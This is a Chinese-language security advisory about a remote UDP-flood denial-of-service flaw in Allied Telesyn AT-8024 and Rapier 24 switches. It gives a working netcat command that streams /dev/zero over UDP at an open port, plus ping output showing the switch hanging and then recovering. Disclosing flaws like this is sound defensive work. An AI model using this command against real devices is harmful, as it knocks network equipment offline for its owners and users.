涉及程序： Allied Telesyn AT-8024 1.3.1 / Rapier 24 描述： Allied Telesyn 交换机UDP数据远程DoS缺陷 详细： AT-8024 和 Rapier 24 是由 Allied Telesyn 开发和维护的快速以太网交换机。 不幸的是当向这两种交换机发送一定数量的UDP数据包时，由于其不能进行正确处理将会被挂起。远程攻击者可利用此缺陷对设备进行扫描，然后对其开放的端口发送一定数量的UDP数据包，进行拒绝服务攻击。 受影响系统： Allied Telesyn AT-8024 1.3.1 Allied Telesyn Rapier 24 攻击方法： cat /dev/zero | nc -u 192.168.0.13 Open_Port & Pinging 192.168.0.103 with 32 bytes of data: Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 Reply from 192.168.0.103: bytes=32 time=16ms TTL=30 Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 Request timed out. // Start sending zero stream: cat /dev/zero | nc -u 192.168.0.103 6789 Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. Request timed out. // Stop sending zero stream Reply from 192.168.0.103: bytes=32 time=203ms TTL=30 Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 Reply from 192.168.0.103: bytes=32 time<10ms TTL=30 解决方案： 目前厂商还没有提供补丁或者升级程序，建议用户随时关注厂商站点： http://www.alliedtelesyn.com/product/8024 http://www.alliedtelesyn.com/product/RAPIER24